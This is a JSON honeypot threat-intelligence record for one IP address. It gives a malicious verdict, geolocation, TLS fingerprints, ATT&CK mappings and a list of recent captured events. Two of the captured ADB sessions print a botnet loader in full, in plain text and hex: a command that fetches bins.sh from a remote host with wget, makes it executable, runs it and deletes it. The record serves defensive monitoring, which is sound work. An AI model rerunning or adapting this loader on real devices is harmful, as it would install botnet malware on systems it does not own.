{"ip":"94.154.43.134","data_as_of":"2026-10-26T23:48:48+00:00","observed":true,"total_events":17,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["1 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 5,636 bytes, which is sustained payload delivery.","Counts include 1 interactive session(s) as well as first-packet events.","Interactive sessions: 1 interactive session(s) carried an exploit attempt."],"engagement":{"level":"payload","label":"Sustained payload","detail":"5,636 bytes sent","bytes_sent":5636,"session_seconds":30,"persistent":false},"basis":"combined"},"first_seen":"2026-10-09T11:05:39","last_seen":"2026-10-26T22:03:24","events_24h":1,"events_7d":1,"interactive_sessions":1,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[{"protocol":"adb","sessions":1}],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"1c92e73fef40344fb2786f26d5454f38358f2bc33ac50a10424875433ca020ee","family":"","vt_name":"unaq0vgv.exe","malicious":1,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":1,"last_seen":"2026-10-15 21:09:29"}],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-15T21:09:29","last_seen":"2026-10-15T21:09:29","verdicts":[{"verdict":"exploit-attempt","sessions":1}],"personas":[{"persona":"adb@Android 7.1 TV box","sessions":1}],"services":[{"protocol":"adb","port":5555,"sessions":1}],"logins":[],"commands":[],"downloads":[{"url":"[http]://5[.]83[.]136[.]39:8080/bins.sh","host":"5[.]83[.]136[.]39","sessions":1,"first_seen":"2026-10-15T21:09:29","last_seen":"2026-10-15T21:09:29","virustotal":{"sha256":"1c92e73fef40344fb2786f26d5454f38358f2bc33ac50a10424875433ca020ee","status":"known","malicious":1,"total":75,"name":"unaq0vgv.exe"}}],"files":[{"sha256":"738ab960de004dadc931ef14834d8442659cff333ce1eb241c3666d67533155a","name":"shell-1","size":135,"mime_type":"text/plain","kind":"adb-command","times":1,"first_seen":"2026-10-15T21:08:59","last_seen":"2026-10-15T21:08:59","virustotal":null}],"attack":[{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":7681,"proto":"tcp","label":"","count":12,"sessions":0},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":3,"sessions":0},{"port":5555,"proto":"tcp","label":"","count":2,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i140900_cbb2034c60b8_e7c285222651"],"tls_client_hello":"16030100e4010000e003031e37d99a06b358947c9885461125c4b7496875ab23ebe0780d04f252eaf939ad20c0e642ef2341ede240e0b92f931a8e1ada5f14461868568dbc4113cb9d412f31001cc02bc02fc02cc030cca9cca8c009c013c00ac014c0121301130213030100007b000500050100000000000a000a0008001d001700180019000b00020100000d001a0018080404030807080508060401050106010503060302010203ff010001000017000000120000002b00050403040303003300260024001d0020ab86ba2ad9bd709a04602eb8e2e3b7ff5b3af654049c715856dae1a1","tls_ja3":["ea4a9ae049cfc614efbb3c244abb3fc7"],"http_akin":["b11cun103_50340011_f5d02f95_x9f62a4acfdb1","b11cun040_00040013_608dab68"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i140900_cbb2034c60b8_e7c285222651":921,"b11cun040_00040013_608dab68":4346,"b11cun103_50340011_f5d02f95_x9f62a4acfdb1":21},"akin_families":{},"user_agents":["Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.260 Mobile Safari/537.36","Go-http-client/1.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-10-09","count":2,"sessions":0},{"date":"2026-10-13","count":8,"sessions":0},{"date":"2026-10-14","count":6,"sessions":0},{"date":"2026-10-15","count":0,"sessions":1},{"date":"2026-10-26","count":1,"sessions":0}],"recent_events":[{"timestamp":"2026-10-26T22:03:24","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/login","summary":"","payload_hex":"474554202f6c6f67696e20485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"bb26c4c6-cc8f-445e-8729-d04bb873612d","seq":1,"duration_ms":100,"bytes_in":123,"bytes_out":78},{"timestamp":"2026-10-15T21:08:59","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000T*\u0000\u0000����cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://5.83.136.39:8080/bins.sh; chmod +x bins.sh; ./bins.sh; rm -f bins.sh\u0000","payload_hex":"4f50454e580100000000000088000000542a0000b0afbab16364202f746d70207c7c206364202f7661722f72756e207c7c206364202f6d6e74207c7c206364202f726f6f74207c7c206364202f3b207767657420687474703a2f2f352e38332e3133362e33393a383038302f62696e732e73683b2063686d6f64202b782062696e732e73683b202e2f62696e732e73683b20726d202d662062696e732e736800","method":"","user_agent":"","ja3":"","session":"2096a975-6615-4118-be4c-cc1f60a41379-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7e9d245db902dc72","strings":["OPENX","cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://5.83.136.39:8…"],"iocs":{"urls":["http://5.83.136.39:8…"],"ips":["5.83.136.39"],"paths":["/var/run"]}},"interactive":true},{"timestamp":"2026-10-15T21:08:59","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"2096a975-6615-4118-be4c-cc1f60a41379-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-14T12:41:43","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"f1ab82f1-8033-4a68-a043-36d00119b0e8","seq":1,"duration_ms":100,"bytes_in":51,"bytes_out":13,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}},{"timestamp":"2026-10-14T12:41:43","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000J*\u0000\u0000����cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://5.83.136.39:5001/bins.sh; chmod +x bins.sh; ./bins.sh; rm -f bins.sh\u0000","payload_hex":"4f50454e5801000000000000880000004a2a0000b0afbab16364202f746d70207c7c206364202f7661722f72756e207c7c206364202f6d6e74207c7c206364202f726f6f74207c7c206364202f3b207767657420687474703a2f2f352e38332e3133362e33393a353030312f62696e732e73683b2063686d6f64202b782062696e732e73683b202e2f62696e732e73683b20726d202d662062696e732e736800","method":"","user_agent":"","ja3":"","session":"f1ab82f1-8033-4a68-a043-36d00119b0e8","seq":2,"duration_ms":280,"bytes_in":211,"bytes_out":26,"enriched":{"digest":"fb7fd90ca9c9ca1e","strings":["OPENX","cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://5.83.136.39:5…"],"iocs":{"urls":["http://5.83.136.39:5…"],"ips":["5.83.136.39"],"paths":["/var/run"]}}},{"timestamp":"2026-10-14T11:19:48","port":7681,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"cache-control\":\"no-cache\",\"connection\":\"Upgrade\",\"host\":\"<HONEYPOT>:7681\",\"origin\":\"http://<HONEYPOT>:7681\",\"pragma\":\"no-cache\",\"sec-websocket-key\":\"rNW++5cSKhs/c+HajfyiYQ==\",\"sec-websocket-protocol\":\"tty\",\"sec-websocket-version\":\"13\",\"upgrade\":\"websocket\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ws","summary":"","payload_hex":"474554202f777320485454502f312e310d0a486f73743a20<HONEYPOT>3a373638310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133352e302e302e30205361666172692f3533372e33360d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a436f6e6e656374696f6e3a20557067726164650d0a4f726967696e3a20687474703a2f2f<HONEYPOT>3a373638310d0a507261676d613a206e6f2d63616368650d0a5365632d576562536f636b65742d4b65793a20724e572b2b3563534b68732f632b48616a66796959513d3d0d0a5365632d576562536f636b65742d50726f746f636f6c3a207474790d0a5365632d576562536f636b65742d56657273696f6e3a2031330d0a557067726164653a20776562736f636b65740d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36","ja3":"","session":"e40df54d-a32f-4e14-a6e6-8558fb3dc61a","seq":1,"duration_ms":101,"bytes_in":391,"bytes_out":78},{"timestamp":"2026-10-14T11:19:48","port":7681,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"cache-control\":\"no-cache\",\"connection\":\"Upgrade\",\"host\":\"<HONEYPOT>:7681\",\"origin\":\"https://<HONEYPOT>:7681\",\"pragma\":\"no-cache\",\"sec-websocket-key\":\"XQW/ivtS2aXs0Gc+CfLkmw==\",\"sec-websocket-protocol\":\"tty\",\"sec-websocket-version\":\"13\",\"upgrade\":\"websocket\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/ws","summary":"","payload_hex":"474554202f777320485454502f312e310d0a486f73743a20<HONEYPOT>3a373638310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133352e302e302e30205361666172692f3533372e33360d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a436f6e6e656374696f6e3a20557067726164650d0a4f726967696e3a2068747470733a2f2f<HONEYPOT>3a373638310d0a507261676d613a206e6f2d63616368650d0a5365632d576562536f636b65742d4b65793a205851572f69767453326158733047632b43664c6b6d773d3d0d0a5365632d576562536f636b65742d50726f746f636f6c3a207474790d0a5365632d576562536f636b65742d56657273696f6e3a2031330d0a557067726164653a20776562736f636b65740d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36","ja3":"ea4a9ae049cfc614efbb3c244abb3fc7","session":"d966d30d-6ec3-41c7-a173-04b2faa4cafe","seq":1,"duration_ms":100,"bytes_in":392,"bytes_out":78},{"timestamp":"2026-10-14T11:15:02","port":7681,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"cache-control\":\"no-cache\",\"connection\":\"Upgrade\",\"host\":\"<HONEYPOT>:7681\",\"origin\":\"http://<HONEYPOT>:7681\",\"pragma\":\"no-cache\",\"sec-websocket-key\":\"snCYH7c/jqILVWUSIM6c/w==\",\"sec-websocket-protocol\":\"tty\",\"sec-websocket-version\":\"13\",\"upgrade\":\"websocket\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ws","summary":"","payload_hex":"474554202f777320485454502f312e310d0a486f73743a20<HONEYPOT>3a373638310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133352e302e302e30205361666172692f3533372e33360d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a436f6e6e656374696f6e3a20557067726164650d0a4f726967696e3a20687474703a2f2f<HONEYPOT>3a373638310d0a507261676d613a206e6f2d63616368650d0a5365632d576562536f636b65742d4b65793a20736e43594837632f6a71494c56575553494d36632f773d3d0d0a5365632d576562536f636b65742d50726f746f636f6c3a207474790d0a5365632d576562536f636b65742d56657273696f6e3a2031330d0a557067726164653a20776562736f636b65740d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36","ja3":"","session":"b34d50e5-1268-4e2c-bbaf-ef056a393dd6","seq":1,"duration_ms":100,"bytes_in":389,"bytes_out":78},{"timestamp":"2026-10-14T11:15:02","port":7681,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"cache-control\":\"no-cache\",\"connection\":\"Upgrade\",\"host\":\"<HONEYPOT>:7681\",\"origin\":\"https://<HONEYPOT>:7681\",\"pragma\":\"no-cache\",\"sec-websocket-key\":\"rJmszvh87fKhEKJdcSwpYQ==\",\"sec-websocket-protocol\":\"tty\",\"sec-websocket-version\":\"13\",\"upgrade\":\"websocket\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/ws","summary":"","payload_hex":"474554202f777320485454502f312e310d0a486f73743a20<HONEYPOT>3a373638310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133352e302e302e30205361666172692f3533372e33360d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a436f6e6e656374696f6e3a20557067726164650d0a4f726967696e3a2068747470733a2f2f<HONEYPOT>3a373638310d0a507261676d613a206e6f2d63616368650d0a5365632d576562536f636b65742d4b65793a20724a6d737a76683837664b68454b4a646353777059513d3d0d0a5365632d576562536f636b65742d50726f746f636f6c3a207474790d0a5365632d576562536f636b65742d56657273696f6e3a2031330d0a557067726164653a20776562736f636b65740d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36","ja3":"ea4a9ae049cfc614efbb3c244abb3fc7","session":"fdd96942-8407-4539-aa87-e1b0a8befa9c","seq":1,"duration_ms":101,"bytes_in":390,"bytes_out":78},{"timestamp":"2026-10-13T19:57:29","port":7681,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"cache-control\":\"no-cache\",\"connection\":\"Upgrade\",\"host\":\"<HONEYPOT>:7681\",\"origin\":\"http://<HONEYPOT>:7681\",\"pragma\":\"no-cache\",\"sec-websocket-key\":\"8e5uAfrVG2Bt4WL3yo6dNQ==\",\"sec-websocket-protocol\":\"tty\",\"sec-websocket-version\":\"13\",\"upgrade\":\"websocket\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ws","summary":"","payload_hex":"474554202f777320485454502f312e310d0a486f73743a20<HONEYPOT>3a373638310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133352e302e302e30205361666172692f3533372e33360d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a436f6e6e656374696f6e3a20557067726164650d0a4f726967696e3a20687474703a2f2f<HONEYPOT>3a373638310d0a507261676d613a206e6f2d63616368650d0a5365632d576562536f636b65742d4b65793a2038653575416672564732427434574c33796f36644e513d3d0d0a5365632d576562536f636b65742d50726f746f636f6c3a207474790d0a5365632d576562536f636b65742d56657273696f6e3a2031330d0a557067726164653a20776562736f636b65740d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36","ja3":"","session":"c598720e-f84d-487e-b306-a6bb6f5d6eb3","seq":1,"duration_ms":100,"bytes_in":393,"bytes_out":78}],"http_methods":[{"method":"GET","count":15}],"distinct_ports_total":3,"top_paths":[{"path":"/ws","count":12,"ports":1},{"path":"/login","count":3,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Cache-Control","Connection","Host","Origin","Pragma","Sec-Websocket-Key","Sec-Websocket-Protocol","Sec-Websocket-Version","Upgrade","User-Agent"],"representative":[{"name":"Cache-Control","value":"no-cache","notable":false},{"name":"Connection","value":"Upgrade","notable":false},{"name":"Host","value":"<HONEYPOT>:7681","notable":false},{"name":"Origin","value":"http://<HONEYPOT>:7681","notable":true},{"name":"Pragma","value":"no-cache","notable":false},{"name":"Sec-Websocket-Key","value":"rNW++5cSKhs/c+HajfyiYQ==","notable":false},{"name":"Sec-Websocket-Protocol","value":"tty","notable":false},{"name":"Sec-Websocket-Version","value":"13","notable":false},{"name":"Upgrade","value":"websocket","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36","notable":false}],"distinct_sets":2,"events_with_headers":6},"tags":[{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1}]}